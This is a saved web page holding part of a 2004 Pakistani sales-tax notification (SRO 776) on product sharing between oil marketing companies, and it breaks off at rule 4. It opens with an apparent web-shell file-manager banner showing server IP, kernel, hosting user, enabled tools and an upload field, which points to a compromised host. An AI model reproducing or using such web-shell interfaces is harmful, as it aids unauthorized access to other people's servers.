| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/home/./././././././taxhyuvu/./././././././public_html/admin/sro/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0068)https://download1.fbr.gov.pk/sros/SalesTaxSROS/2004/2004sro776st.htm -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>GOVERNMENT OF PAKISTAN</title>
<meta content="MSHTML 6.00.2800.1458" name="GENERATOR">
<meta content="FrontPage.Editor.Document" name="ProgId"><style type="text/css" id="operaUserStyle"></style><style type="text/css">:root zeus-ad, :root topadblock, :root span[id^="ezoic-pub-ad-placeholder-"], :root guj-ad, :root gpt-ad, :root div[id^="zergnet-widget"], :root div[id^="yandex_ad"], :root div[id^="vuukle-ad-"], :root div[id^="sticky_ad_"], :root div[id^="rc-widget-"], :root div[id^="gpt_ad_"], :root div[id^="ezoic-pub-ad-"], :root div[id^="div-gpt-"], :root div[id^="dfp-ad-"], :root div[id^="advads_ad_"], :root div[id^="adspot-"], :root div[id^="ads300_250-widget-"], :root div[id^="ads300_100-widget-"], :root div[id^="ads250_250-widget-"], :root div[id^="adrotate_widgets-"], :root div[id^="_vdo_ads_player_ai_"], :root div[id*="ScriptRoot"], :root div[id*="MarketGid"], :root div[data-native_ad], :root div[data-mini-ad-unit], :root div[data-insertion], :root div[data-id-advertdfpconf], :root div[data-google-query-id], :root hl-adsense, :root div[data-contentexchange-widget], :root div[data-content="Advertisement"], :root div[data-alias="300x250 Ad 2"], :root div[data-alias="300x250 Ad 1"], :root div[data-adzone], :root div[data-adunit-path], :root div[data-ad-wrapper], :root div[data-ad-targeting], :root div[data-ad-placeholder], :root div[class^="native-ad-"], :root div[data-dfp-id], :root div[class^="kiwi-ad-wrapper"], :root div[class^="Adstyled__AdWrapper-"], :root div[aria-label="Ads"], :root display-ads, :root display-ad-component, :root bottomadblock, :root atf-ad-slot, :root aside[id^="adrotate_widgets-"], :root article.ad, :root ark-top-ad, :root app-advertisement, :root app-ad, :root amp-fx-flying-carpet, :root amp-embed[type="taboola"], :root amp-connatix-player, :root amp-ad-custom, :root amp-ad, :root a[onmousedown^="this.href='https://paid.outbrain.com/network/redir?"][target="_blank"] + .ob_source, :root citrus-ad-wrapper, :root a[onmousedown^="this.href='https://paid.outbrain.com/network/redir?"][target="_blank"], :root a[onmousedown^="this.href='http://paid.outbrain.com/network/redir?"][target="_blank"] + .ob_source, :root a[href^="https://yogacomplyfuel.com/"], :root a[href^="https://www.sugarinstant.com/?partner_id="], :root a[href^="https://www.purevpn.com/"][href*="&utm_source=aff-"], :root a[href^="https://www.privateinternetaccess.com/"] > img, :root a[href^="https://www.onlineusershielder.com/"], :root a[href^="https://www.nutaku.net/signup/landing/"], :root a[href^="https://www.nudeidols.com/cams/"], :root a[href^="https://www.mypornstarcams.com/landing/click/"], :root a[href^="https://www.kingsoffetish.com/tour?partner_id="], :root a[href^="https://www.infowarsstore.com/"] > img, :root a[href^="https://www.highcpmrevenuenetwork.com/"], :root a[href^="https://www.googleadservices.com/pagead/aclk?"], :root a[href^="https://www.goldenfrog.com/vyprvpn?offer_id="][href*="&aff_id="], :root a[href^="https://www.get-express-vpn.com/offer/"], :root a[href^="https://www.financeads.net/tc.php?"], :root a[href^="https://www.brazzersnetwork.com/landing/"], :root div[class^="Display_displayAd"], :root a[href^="https://www.sheetmusicplus.com/?aff_id="], :root a[href^="https://www.bang.com/?aff="], :root a[href^="https://www.adxsrve.com/"], :root a[href^="https://www.5mno3.com/"], :root a[href^="https://webroutetrk.com/"], :root a[href^="https://twinrdsyn.com/"], :root a[href^="https://tsartech.g2afse.com/"], :root [href^="https://www.mypatriotsupply.com/"] > img, :root a[href^="https://trk.softonixs.xyz/"], :root a[href^="https://trk.nfl-online-streams.club/"], :root a[href^="https://tracking.avapartner.com/"], :root a[href^="https://track.wg-aff.com"], :root a[href^="https://track.afcpatrk.com/"], :root a[href^="https://torguard.net/aff.php"] > img, :root div[data-adname], :root a[href^="https://thechleads.pro/"], :root [data-role="tile-ads-module"], :root a[href^="https://adsrv4k.com/"], :root a[href^="https://go.xlviirdr.com"], :root a[href^="https://thaudray.com/"], :root a[href^="https://taghaugh.com/"], :root a[href^="https://click.candyoffers.com/"], :root [href^="https://zstacklife.com/"] img, :root a[href^="https://t.aslnk.link/"], :root a[href^="https://t.adating.link/"], :root a[href^="https://go.trackitalltheway.com/"], :root [href^="https://track.fiverr.com/visit/"] > img, :root a[href^="https://syndication.exoclick.com/"], :root a[href^="https://syndication.dynsrvtbg.com/"], :root a[href^="https://streamate.com/landing/click/"], :root a[href^="https://ad.doubleclick.net/"], :root a[href^="https://static.fleshlight.com/images/banners/"], :root a[href^="https://sTaRtGAMing.net/tienda/"], :root [data-adblockkey], :root a[href^="https://sTARtgamIng.net/tienda/"], :root a[href^="https://aweptjmp.com/"], :root a[href^="https://s.zlinkc.com/"], :root a[href^="https://www.mrskin.com/account/"], :root a[href^="https://s.optzsrv.com/"], :root a[data-obtrack^="http://paid.outbrain.com/network/redir?"], :root a[href^="https://reinstandpointdumbest.com/"], :root a[href^="https://go.strpjmp.com/"], :root a[href^="https://refpa4903566.top/"], :root a[href^="https://pubads.g.doubleclick.net/"], :root a[href^="https://prf.hn/click/"][href*="/camref:"] > img, :root a[href^="https://serve.awmdelivery.com/"], :root a[href^="https://prf.hn/click/"][href*="/adref:"] > img, :root a[href^="https://pb-track.com/"], :root a[href^="https://paid.outbrain.com/network/redir?"], :root ps-connatix-module, :root div[id^="ad_position_"], :root a[href^="https://ovb.im/"], :root div[id^="ad-div-"], :root a[href^="https://newbinotracs.com/"], :root a[href^="https://natour.naughtyamerica.com/track/"], :root [href^="https://stvkr.com/"], :root a[href^="https://mediaserver.entainpartners.com/renderBanner.do?"], :root [href^="https://www.herbanomic.com/"] > img, :root a[href^="https://maymooth-stopic.com/"], :root a[href^="https://loboclick.com"], :root [href^="https://routewebtk.com/"], :root a[href^="https://see.kmisln.com/"], :root .nya-slot[style], :root a[href^="https://a.bestcontentweb.top/"], :root a[href^="https://lobimax.com/"], :root a[href^="https://lead1.pl/"], :root a[href^="https://refpa.top/"], :root a[href^="https://landing.brazzersnetwork.com/"], :root a[href^="https://safesurfingtoday.com/"][href*="?skip="], :root a[href^="https://ads.leovegas.com/redirect.aspx?"], :root a[href^="https://land.brazzersnetwork.com/landing/"], :root a[href^="https://track.adform.net/"], :root [data-css-class="dfp-inarticle"], :root .card-captioned.crd > .crd--cnt > .s2nPlayer, :root a[href^="https://go.tmrjmp.com"], :root a[href^="https://l.hyenadata.com/"], :root a[href^="https://juicyads.in/"], :root a[href^="https://mediaserver.gvcaffiliates.com/renderBanner.do?"], :root a[href^="https://join.dreamsexworld.com/"], :root a[href^="https://itubego.com/video-downloader/?affid="], :root a[href^="https://iqbroker.com/"][href*="?aff="], :root a[href^="https://incisivetrk.cvtr.io/click?"], :root [data-revive-zoneid], :root a[href^="https://googleads.g.doubleclick.net/pcs/click"], :root a[href^="https://clk.wrenchsound.store/"], :root a[href^="https://go.zybrdr.com"], :root [href^="http://join.michelle-austin.com/"], :root [class^="tile-picker__CitrusBannerContainer-sc-"], :root a[href^="https://go.xxxiijmp.com"], :root a[href^="https://go.xtbaffiliates.com/"], :root a[href^="https://ismlks.com/"], :root a[href^="//a.bestcontentfare.top/"], :root [href^="https://www.mypillow.com/"] > img, :root a[href^="https://azpresearch.club/"], :root a[href^="https://go.xlirdr.com"], :root a[href^="https://go.skinstrip.net"][href*="?campaignId="], :root a[href^="https://go.markets.com/visit/?bta="], :root a[href^="https://billing.purevpn.com/aff.php"] > img, :root a[href^="https://go.hpyrdr.com/"], :root a[href^="https://go.goaserv.com/"], :root a[href^="https://go.dmzjmp.com"], :root a[href^="https://twinrdsrv.com/"], :root a[href^="https://go.admjmp.com/"], :root [href^="https://kingered-banctours.com/"], :root a[href^="https://get.surfshark.net/aff_c?"][href*="&aff_id="] > img, :root a-ad, :root a[href^="https://affiliate.rusvpn.com/click.php?"], :root a[href^="https://geniusdexchange.com/"], :root a[href^="https://frameworkdeserve.com/"], :root a[href^="https://flirtandsweets.life/"], :root a[href^="https://www.mrskin.com/tour"], :root a[href^="https://financeads.net/tc.php?"], :root div[data-native-ad], :root a[href^="https://engine.trackingdesks.com/"], :root a[data-redirect^="https://paid.outbrain.com/network/redir?"], :root [href^="https://www.reimageplus.com/"], :root a[href^="https://engine.phn.doublepimp.com/"], :root a[href^="https://engine.blueistheneworanges.com/"], :root div[id^="optidigital-adslot"], :root a[href^="https://wantopticalfreelance.com/"], :root a[href^="https://dl-protect.net/"], :root a[href^="https://datingoffers30.info/"], :root a[href^="https://clixtrac.com/"], :root a[href^="https://click.linksynergy.com/fs-bin/"] > img, :root ad-shield-ads, :root a[href^="https://sTartGAMinG.net/tienda/"], :root AD-TRIPLE-BOX, :root a[href^="https://click.hoolig.app/"], :root a[href^="https://track.totalav.com/"], :root img[src^="https://images.purevpnaffiliates.com"], :root a[href^="https://porntubemate.com/"], :root a[href^="http://www.gfrevenge.com/landing/"], :root a[href^="https://clickadilla.com/"], :root a[href^="https://click.dtiserv2.com/"], :root a[href^="https://go.xlvirdr.com"], :root a[href^="http://www.iyalc.com/"], :root a[href^="https://claring-loccelkin.com/"], :root [class^="s2nPlayer"], :root a[href^="https://chaturbate.jjgirls.com/?track="], :root a[href^="https://chaturbate.com/in/?track="], :root a[href^="https://chaturbate.com/in/?tour="], :root a[href^="https://cams.imagetwist.com/in/?track="], :root a[href^="https://go.gldrdr.com/"], :root a[href^="https://buqkrzbrucz.com/"], :root a[href^="https://affcpatrk.com/"], :root a[href^="https://bongacams2.com/track?"], :root a[href^="https://www.sheetmusicplus.com/"][href*="?aff_id="], :root a[href^="https://bngpt.com/"], :root a[href^="https://bluedelivery.pro/"], :root a[href^="https://black77854.com/"], :root a[href^="https://bc.game/"], :root a[href^="https://ndt5.net/"], :root a[href^="https://batheunits.com/"], :root a[target="_blank"][onmousedown="this.href^='http://paid.outbrain.com/network/redir?"], :root a[href^="https://banners.livepartners.com/"], :root a[href^="//whulsaux.com/"], :root a[href^="https://m.do.co/c/"] > img, :root [href="https://masstortfinancing.com"] img, :root a[href^="https://bongacams10.com/track?"], :root a[href^="https://albionsoftwares.com/"], :root a[href^="https://t.hrtye.com/"], :root a[href^="https://go.etoro.com/"] > img, :root a[href^="https://convertmb.com/"], :root a[href^="https://join.sexworld3d.com/track/"], :root a[href^="https://intenseaffiliates.com/redirect/"], :root a[href^="https://ads.ad4game.com/"], :root [id^="google_ads_iframe"], :root a[href^="https://syndication.optimizesrv.com/"], :root a[href^="https://affpa.top/"], :root a[href^="https://adnetwrk.com/"], :root a[href^="https://adjoincomprise.com/"], :root [href^="http://misslinkvocation.com/"], :root a[href^="https://adclick.g.doubleclick.net/"], :root a[href^="https://www.bet365.com/"][href*="affiliate="], :root [href^="https://r.kraken.com/"], :root a[href^="https://mmwebhandler.aff-online.com/"], :root a[href^="https://go.nordvpn.net/aff"] > img, :root [href^="http://clicks.totemcash.com/"], :root a[href^="https://misspkl.com/"], :root a[href^="https://ad.zanox.com/ppc/"] > img, :root a[href^="https://ad.kubiccomps.icu/"], :root a[href^="https://a2.adform.net/"], :root a[href^="https://iactrivago.ampxdirect.com/"], :root a[href^="https://a.medfoodhome.com/"], :root a[href^="https://adultfriendfinder.com/go/"], :root a[href^="https://a.bestcontentoperation.top/"], :root [data-m-ad-id], :root a[href^="https://a-ads.com/"], :root a[href^="https://join.virtualtaboo.com/track/"], :root a[href^="https://StarTGAminG.net/tienda/"], :root a[href^="https://cpmspace.com/"], :root [href^="https://freecourseweb.com/"] > .sitefriend, :root a[href^="https://prf.hn/click/"][href*="/creativeref:"] > img, :root a[href^="http://www.adultempire.com/unlimited/promo?"][href*="&partner_id="], :root a[href^="https://1betandgonow.com/"], :root [href="https://ourgoldguy.com/contact/"] img, :root a[href^="https://brightadnetwork.com/"], :root [href^="https://www.avantlink.com/click.php"] img, :root a[href^="http://www.onwebcam.com/random?t_link="], :root a[href^="http://www.mrskin.com/tour"], :root a[href^="https://agacelebir.com/"], :root a[href^="https://spygasm.com/track?"], :root a[href^="http://d2.zedo.com/"], :root a[href^="http://www.friendlyduck.com/AF_"], :root a[href^="http://trk.globwo.online/"], :root a[href^="http://traffic.tc-clicks.com/"], :root a[href^="http://tour.mrskin.com/"], :root a[href^="https://funkydaters.com/"], :root [id^="ad_sky"], :root a[href^="http://https://www.get-express-vpn.com/offer/"], :root div[id^="google_dfp_"], :root a[href^="http://googleads.g.doubleclick.net/pcs/click"], :root .rc-cta[data-target], :root [href^="http://go.cm-trk2.com/"], :root a[href^="http://click.payserve.com/"], :root a[href^="https://porngames.adult/?SID="], :root a[href^="https://landing1.brazzersnetwork.com"], :root #slashboxes > .deals-rail, :root [href^="http://globsads.com/"], :root [href^="https://www.brighteonstore.com/products/"] img, :root a[href^="http://bc.vc/?r="], :root a[href^="https://mityneedn.com/"], :root [href^="http://homemoviestube.com/"], :root a[href^="http://ad.doubleclick.net/"], :root a[href^="//zunsoach.com/"], :root a[href^="http://static.fleshlight.com/images/banners/"], :root a[href^="https://a.adtng.com/"], :root a[href^="//pubads.g.doubleclick.net/"], :root a[href^="https://femglobal.app/"], :root a[href^="//go.eabids.com/"], :root [data-d-ad-id], :root a[href*=".engine.adglare.net/"], :root [href^="https://awbbjmp.com/"], :root a[href^="https://tracker.loropartners.com/"], :root #kt_player > a[target="_blank"], :root a[href*=".cfm?fp="][href*="&maxads="], :root [data-dynamic-ads], :root a[data-widget-outbrain-redirect^="http://paid.outbrain.com/network/redir?"], :root [data-ad-width], :root [href^="https://join.playboyplus.com/track/"], :root a[data-url^="http://paid.outbrain.com/network/redir?"] + .author, :root a[href^="https://axdsz.pro/"], :root a[href^="http://bodelen.com/"], :root a[data-oburl^="https://paid.outbrain.com/network/redir?"], :root [href^="https://cpa.10kfreesilver.com/"], :root a[href^="https://a.bestcontentfood.top/"], :root a[href^="http://wct.link/"], :root [href^="https://goldforyourfuture.com/clk.trk"] img, :root [href^="https://infinitytrk.com/"], :root [onclick^="location.href='http://www.reimageplus.com"], :root [id^="section-ad-banner"], :root a[href^="https://go.julrdr.com/"], :root .trc_rbox_div .syndicatedItemUB, :root [href^="https://zone.gotrackier.com/"], :root a[href^="https://visit-website.com/"], :root [href^="https://detachedbates.com/"], :root [href^="https://www.targetingpartner.com/"], :root a[href^="https://fourwhenstatistics.com/"], :root [href^="https://www.restoro.com/"], :root a[href^="https://join.virtuallust3d.com/"], :root .section-subheader > .section-hotel-prices-header, :root [href^="https://go.affiliatexe.com/"], :root [href^="https://www.hostg.xyz/"] > img, :root [href^="https://ilovemyfreedoms.com/landing-"], :root a[href^="https://staRTgaming.net/tienda/"], :root a[href^="https://STaRtgAmInG.net/tienda/"], :root a[href^="http://adultfriendfinder.com/go/"], :root a[href^="https://fastestvpn.com/lifetime-special-deal?a_aid="], :root a[href^="https://tour.mrskin.com/"], :root div[id^="ad-position-"], :root a[href^="http://affiliate.glbtracker.com/"], :root a[href^="https://leg.xyz/?track="], :root div[id^="crt-"][style], :root a[href^="http://adultgames.xxx/"], :root a[href^="https://traffic.bannerator.com/"], :root [href^="https://shiftnetwork.infusionsoft.com/go/"] > img, :root a[onmousedown^="this.href='http://paid.outbrain.com/network/redir?"][target="_blank"], :root [href^="https://secure.bmtmicro.com/servlets/"], :root a[href^="https://losingoldfry.com/"], :root .scroll-fixable.rail-right > .deals-rail, :root a[href^="https://oackoubs.com/"], :root a[href^="https://ak.psaltauw.net/"], :root a[href^="https://awptjmp.com/"], :root a[href^="https://go.goasrv.com/"], :root [href^="http://mypillow.com/"] > img, :root a[href^="http://bongacams.com/track?"], :root a[href^="https://fleshlight.sjv.io/"], :root [data-ad-manager-id], :root a[href^="https://promo-bc.com/"], :root a[href^="https://clicks.pipaffiliates.com/"], :root [href^="https://noqreport.com/"] > img, :root a[href^="https://www.highperformancecpmgate.com/"], :root a[href^="https://t.grtyi.com/"], :root [href^="https://mylead.global/stl/"] > img, :root [href^="https://mypatriotsupply.com/"] > img, :root [data-freestar-ad], :root a[href^="https://fc.lc/ref/"], :root #leader-companion > a[href], :root a[href^="https://transfer.xe.com/signup/track/redirect?"], :root .vid-present > .van_vid_carousel__padding, :root [href^="https://track.aftrk1.com/"], :root div[id^="adngin-"], :root [data-rc-widget], :root a[href^="https://go.xxxijmp.com"], :root [href^="https://istlnkcl.com/"], :root [href^="https://go.4rabettraff.com/"], :root a[href^="https://tm-offers.gamingadult.com/"], :root [href^="https://charmingdatings.life/"], :root [href^="https://glersakr.com/"], :root ins.adsbygoogle, :root a[href^="https://1startfiledownload1.com/"], :root .trc_rbox_border_elm .syndicatedItem, :root a[href^="http://www.onclickmega.com/jump/next.php?"], :root a[href^="https://italarizege.xyz/"], :root a[href^="https://wittered-mainging.com/"], :root [href^="https://engine.gettopple.com/"], :root [data-id^="div-gpt-ad"], :root a[href^="https://k2s.cc/pr/"], :root [href^="https://affect3dnetwork.com/track/"], :root a[href^="https://camfapr.com/landing/click/"], :root [href="//sexcams.plus/"], :root a[href^="https://go.currency.com/"], :root [href^="http://www.mypillow.com/"] > img, :root div[id^="div-ads-"], :root [href^="https://rapidgator.net/article/premium/ref/"], :root [href^="https://join3.bannedsextapes.com"], :root div[data-spotim-slot], :root [href^="https://antiagingbed.com/discount/"] > img, :root a[href^="https://go.247traffic.com/"], :root [href^="https://join.girlsoutwest.com/"], :root [href^="http://trafficare.net/"], :root a[href^="https://tc.tradetracker.net/"] > img, :root a[href^="https://adserver.adreactor.com/"], :root [href^="http://join.shemalesfromhell.com/"], :root [id^="ad_slider"], :root #searchResultsList > div > div[onclick$="'inline.ad'});"], :root [data-adbridg-ad-class], :root a[href^="http://www.adultdvdempire.com/?partner_id="][href*="&utm_"], :root [href^="http://join.shemale.xxx/"], :root a[href^="https://ads.betfair.com/redirect.aspx?"], :root [href^="http://www.fleshlightgirls.com/"], :root [href^="http://join.trannies-fuck.com/"], :root .trc_rbox .syndicatedItem, :root a[href^="http://cam4com.go2cloud.org/aff_c?"], :root a[href^="https://thefacux.com/"], :root a[href^="https://ads.planetwin365affiliate.com/redirect.aspx?"], :root [href^="http://join.rodneymoore.com/"], :root a[href*=".trust.zone"], :root [href^="https://shrugartisticelder.com"], :root [href^="https://go.xlrdr.com"], :root a[href^="https://staRTgamIng.net/tienda/"], :root div[id^="lazyad-"], :root a[href^="http://com-1.pro/"], :root [name^="google_ads_iframe"], :root a[href^="https://go.xxxjmp.com"], :root [data-desktop-ad-id], :root [href^="https://wct.link/"], :root div[recirculation-ad-container], :root [href^="https://traffserve.com/"], :root [href="https://www.masstortfinancing.com/"] > img, :root .ob_container .item-container-obpd, :root [id^="div-gpt-ad"], :root [href^="https://mypillow.com/"] > img, :root [href^="https://ad.admitad.com/"], :root [data-testid="ad_testID"], :root a[href^="https://u.expresstech.io/"], :root a[href^="https://www.geekbuying.com/dynamic-ads/"], :root a[href^="https://lnkxt.bannerator.com/"], :root [href="https://jdrucker.com/gold"] > img, :root [href^="https://v.investologic.co.uk/"], :root [href^="https://mystore.com/"] > img, :root ADS-RIGHT, :root [href^="https://cipledecline.buzz/"], :root a[href^="https://track.ultravpn.com/"], :root [href^="https://goldcometals.com/clk.trk"], :root a[href^="https://go.hpyjmp.com"], :root [data-mobile-ad-id], :root a[href^="http://tc.tradetracker.net/"] > img, :root a[href^="http://affiliates.thrixxx.com/"], :root a[href^="https://www.adultempire.com/"][href*="?partner_id="], :root [data-template-type="nativead"], :root [data-ad-name], :root [data-ez-name], :root a[href^="http://go.xtbaffiliates.com/"], :root a[href^="https://consali.com/"], :root .grid > .container > #aside-promotion, :root DFP-AD, :root .trc_related_container div[data-item-syndicated="true"], :root a[href^="https://www.liquidfire.mobi/"], :root [href^="https://click2cvs.com/"], :root a[href^="https://startgAming.net/tienda/"], :root [href^="https://safer-redirection.com"], :root [href^="https://optimizedelite.com/"] > img, :root [data-name="adaptiveConstructorAd"], :root [onclick*="content.ad/"], :root AMP-AD, :root [data-ad-cls], :root [id^="ad-wrap-"], :root div[id^="taboola-stream-"], :root [href^="https://go.astutelinks.com/"], :root [class^="amp-ad-"], :root [href^="https://affiliate.fastcomet.com/"] > img, :root [class^="adDisplay-module"], :root AD-SLOT, :root a[href^="https://go.xlviiirdr.com"], :root [href^="http://join.shemalepornstar.com/"], :root a[href^="http://partners.etoro.com/"], :root [data-advadstrackid], :root [href^="https://trackfin.asia/"], :root .plistaList > .plista_widget_underArticle_item[data-type="pet"], :root .ob_dual_right > .ob_ads_header ~ .odb_div, :root .trc_rbox_div .syndicatedItem, :root div[data-adunit], :root app-large-ad, :root [href^="https://turtlebids.irauctions.com/"] img, :root a[href^="https://www.adskeeper.com"], :root [href^="https://totlnkcl.com/"], :root [data-ad-module], :root a[href^="https://cam4com.go2cloud.org/"], :root a[href^="http://li.blogtrottr.com/click?"], :root a[href^="https://go.cmtaffiliates.com/"], :root a[href^="https://bs.serving-sys.com"], :root [href^="http://residenceseeingstanding.com/"], :root a[href*="//lkstrck2.com/"], :root .plistaList > .itemLinkPET, :root a[href^="https://traffdaq.com/"], :root [class^="div-gpt-ad"], :root a[href^="https://refpazkjixes.top/"], :root #mgb-container > #mgb, :root [href^="https://www.cloudways.com/en/?id"], :root a[href^="https://trk.sportsflix4k.club/"], :root a[href^="https://go.xlivrdr.com"] { display: none !important; }</style></head>
<body>
<dl>
<div align="center">
<center>
<dt><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">GOVERNMENT OF PAKISTAN<o:p>
</o:p></span></b></dt></center></div>
<div align="center">
<center>
<dt><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">MINISTRY OF FINANCE, ECONOMIC AFFAIRS,
STATISTICS & REVENUE<o:p> </o:p></span></b></dt></center></div>
<div align="center">
<center>
<dt><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(REVENUE DIVISION)<o:p>
</o:p></span></b></dt></center></div></dl>
<p class="MsoNormal" style="TEXT-ALIGN: center" align="center"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">*******<o:p> </o:p></span></b></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">
Islamabad, the 10<sup>th</sup> September, 2004.<o:p>
</o:p><o:p></o:p></span></p>
<dl>
<div align="center">
<center>
<dt><b style="mso-bidi-font-weight: normal"><u><span lang="EN-GB" style="mso-ansi-language: EN-GB">NOTIFICATION<o:p>
</o:p></span></u></b></dt></center></div>
<div align="center">
<center>
<dt><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(SALES TAX)</span></b>
</dt></center></div></dl>
<p class="MsoBodyText2"><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-tab-count: 1">
</span>SRO. 776 (I)/2004.�<span style="mso-tab-count: 1">
</span>In exercise of the powers conferred by section 71 of the Sales Tax Act,
1990, read with clause (33) of section 2 thereof, the Federal Government is
pleased to make the following rules, namely:- </span><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></b></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">1.<span style="mso-tab-count: 1">
</span>Short title, application and commencement. �</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-spacerun: yes">
</span>(1)<span style="mso-tab-count: 1">
</span>These rules may be called the Special Procedure for Collection and
Payment of Sales Tax from the Oil Marketing Companies (Sharing of Product)
Rules, 2004.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (2)<span style="mso-tab-count: 1">
</span>These rules shall apply for the collection and payment of sales tax from
the oil marketing companies against sharing of product at the joint installation
(JIMCO), located at Mehmood Kot, District Gujrat.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (3)<span style="FONT: 7pt 'Times New Roman'">
</span>These rules shall come into force at once.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> 2.<span style="mso-tab-count: 1">
</span>Definitions. �</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (1)<span style="mso-tab-count: 1">
</span>In these Rules, unless there is anything repugnant in the subject or
context,-<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (a)<span style="FONT: 7pt 'Times New Roman'">
</span>�Act� means the Sales Tax Act, 1990;</span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(b)<span style="FONT: 7pt 'Times New Roman'">
</span>�consumers� means the registered as well as unregistered buyers except
the above named OMCs to whom the product is supplied from JIMCO on sharing or
loan basis;<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (c)<span style="FONT: 7pt 'Times New Roman'">
</span>�JIMCO� means joint installation of the oil marketing companies at
Mehmood Kot, District Gujrat;</span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(d)<span style="FONT: 7pt 'Times New Roman'">
</span>�OMC or OMCs� means the oil marketing companies <u>viz.</u> Shell
Pakistan Limited, Caltex Oil (Pakistan) Limited and Pakistan State Oil
(PSO);</span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(e)<span style="FONT: 7pt 'Times New Roman'">
</span>�product� means all taxable petroleum products whether imported or
otherwise, which are stored at JIMCO, Mehmood Kot, District Gujrat, by or on
behalf of OMCs; </span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(f)<span style="FONT: 7pt 'Times New Roman'">
</span>�product sharing� means acquiring of a product by one OMC from another
OMC on loan basis, without payment of price under an arrangement of returning
the product of the same description by the former to the latter, within such
time as may be agreed between them; and</span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(g)<span style="FONT: 7pt 'Times New Roman'">
</span>�Terminal Operator� means the company or person managing the affairs of
joint installation (JIMCO) at Mehmood Kot, district Gujrat.</span><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-INDENT: 36pt; TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(2)<span style="mso-tab-count: 1">
</span>All other words and expressions used, but not defined herein, shall have
the same meanings as are assigned to them in the Act.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> </span><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">3.<span style="mso-tab-count: 1">
</span>Sharing of Product. �</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-spacerun: yes">
</span>(1)<span style="mso-spacerun: yes"> </span>The OMCs shall be
entitled to share their products without payment of sales tax at JIMCO.<o:p>
</o:p></span></p>
<p class="MsoBodyText2"><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-tab-count: 1">
</span>(2)<span style="mso-tab-count: 1">
</span>No sales tax invoice shall be issued for the product shared between OMCs,
provided that the OMCs shall not be barred from adhering to an internal
invoicing system for the purpose of stock sharing.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(3)<span style="mso-tab-count: 1">
</span>The OMC which has borrowed the product from another OMC shall return the
product of the same description within the time agreed between them.<o:p>
</o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> </span><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB"><o:p> </o:p></span></b></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">4.<span style="mso-tab-count: 1">
</span>Register for stock sharing. �</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"> (1) Each OMC, benefiting from stock sharing
facility under these rules, shall maintain, or cause to be maintained, a
separate register for recording movements of stocks under sharing arrangements
between OMCs.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(2)<span style="mso-tab-count: 1">
</span>The stock sharing register, maintained under sub-rule (1), shall contain
such information about credit and debit of the shared or returned stocks as is
necessary to identify the movement of such stocks between the concerned
OMCs.<o:p> </o:p></span></p>
